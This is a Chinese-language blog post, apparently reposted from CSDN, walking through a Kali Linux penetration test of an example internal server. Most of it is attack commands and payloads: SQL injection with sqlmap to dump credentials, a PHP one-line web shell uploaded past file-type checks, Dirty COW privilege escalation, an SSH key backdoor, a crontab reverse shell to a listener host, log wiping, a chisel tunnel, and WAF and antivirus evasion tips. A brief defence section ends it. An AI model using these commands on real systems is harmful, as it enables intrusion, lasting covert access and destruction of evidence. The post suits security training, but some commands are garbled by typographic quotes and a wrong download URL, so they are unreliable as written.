Kali Linux 渗透测试实战：从信息收集到漏洞利用的全流程解析

deerdream2025-07-18 02:37Kali linux, 渗透测试186 次浏览抢沙发

Kali Linux 作为渗透测试领域的黄金工具集，集成了数百款专业安全工具，覆盖信息收集、漏洞扫描、权限获取、后渗透等全流程。本文结合实战场景，深入解析渗透测试核心流程与高阶技巧，掌握从零基础到实战攻防的完整方法论。

原文链接：https://blog.csdn.net/weixin_53570232/article/details/148310829

一、Kali 环境搭建与工具生态

1. 环境部署最佳实践
双系统 vs 虚拟机：
双系统适合追求性能的实战场景（需注意磁盘分区隔离）；
虚拟机（推荐 VMware Workstation + Ubuntu 宿主）便于快照管理与安全隔离。
基础配置优化：

# 更新源（国内镜像加速）
sed -i ‘s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.aliyun.com/g’ /etc/apt/sources.list
apt update && apt upgrade -y
# 安装必备工具
apt install -y build-essential python3-pip open-vm-tools-desktop

2. 工具分类与场景匹配

二、实战渗透：从信息收集到 root 权限的完整流程

场景设定
目标：某企业内网服务器（IP：192.168.1.100，开放 HTTP/SSH 服务）。
渗透目标：获取系统管理员权限并建立持久化控制。

1. 信息收集：构建攻击面地图
（1）端口与服务枚举

# Nmap 全端口扫描（SYN 扫描，避开防火墙日志）
nmap -p- -sS -T4 -v -oN nmap_all_ports.txt 192.168.1.100
# 深度服务探测（识别版本与潜在漏洞）
nmap -p 22,80 -sC -sV -O -oN nmap_detail.txt 192.168.1.100

关键发现：

开放端口：22（SSH，OpenSSH 7.2p2）、80（HTTP，Apache 2.4.18）。
HTTP 服务：存在 /login.php 登录接口，可能存在弱口令或 SQL 注入。
（2）Web 应用指纹识别

# 使用 WhatWeb 扫描技术栈
whatweb http://192.168.1.100
# 目录爆破（结合自定义字典）
dirb http://192.168.1.100 -r -w /usr/share/wordlists/dirb/big.txt

关键发现：

存在 /admin/ 目录（状态码 301），推测为管理后台；
/robots.txt 泄露 /backup 目录（包含数据库备份文件 db.sql）。
2. 漏洞探测与利用
（1）Web 漏洞突破
SQL 注入测试：
使用 sqlmap 自动化检测：

sqlmap -u “http://192.168.1.100/login.php?user=admin&pass=1” –dbms=mysql –batch –dump

结果：成功获取管理员账户 admin:Password123!。

后台登录与文件上传：
通过 /admin/ 登录后，发现存在图片上传功能，利用文件类型校验绕过（修改 .php 为 .jpg，配合 .htaccess 解析漏洞），上传一句话木马 shell.php：

php

<?php system($_GET[‘cmd’]); ?>

（2）权限提升：从 www-data 到 root
内核漏洞检测：
使用 LinEnum.sh 扫描系统信息，发现内核版本为 3.13.0-32-generic，存在脏牛漏洞（CVE-2016-5195）。
漏洞利用：
下载脏牛提权脚本并编译：

wget https://github.com/FireFart/dirtycow/blob/master/dirtycow.c
gcc dirtycow.c -o dirtycow -pthread
./dirtycow /etc/passwd

结果：生成具有 root 权限的用户 firefart，成功登录系统。

三、后渗透技术：持久化控制与痕迹清理

1. 持久化后门建立
SSH 密钥植入：

# 在 Kali 生成密钥对
ssh-keygen -t rsa -f kali_backdoor
# 将公钥写入目标服务器 authorized_keys
echo “ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ…” >> /root/.ssh/authorized_keys
定时任务木马：
在 /etc/cron.daily/ 目录创建脚本，定期连接 Kali 的反弹 Shell：

echo “*/5 * * * * root /bin/bash -i >& /dev/tcp/192.168.1.101/4444 0>&1” >> /etc/crontab

2. 痕迹清理与隐蔽通信
日志擦除：

# 清空系统日志
> /var/log/auth.log
> /var/log/syslog
# 清除 Web 服务器访问记录
echo “” > /var/log/apache2/access.log

代理隧道搭建：
使用 chisel 建立 socks5 代理，通过加密通道传输数据：

# Kali 作为服务端
./chisel server -p 8080 –socks5
# 目标服务器作为客户端
./chisel client 192.168.1.101:8080 socks5

四、高级渗透技巧与防御思路

1. 绕过安全防护机制
WAF 绕过：
使用双重 URL 编码、换行符注入（%0a）或多部分表单上传绕过规则。
杀软免杀：
对 Metasploit 生成的 Payload 进行编码混淆（如 msfvenom -e x86/shikata_ga_nai），或使用 PowerShell 无文件攻击。

2. 防御者视角：如何构建纵深防御体系
网络层：部署 NGFW 过滤异常流量，限制高危端口（如 22、3389）对公网开放。
应用层：启用 Web 应用防火墙（WAF），强制实施 SQL 预编译语句与文件上传白名单。
主机层：定期进行漏洞扫描与补丁更新，采用最小权限原则（Principle of Least Privilege）。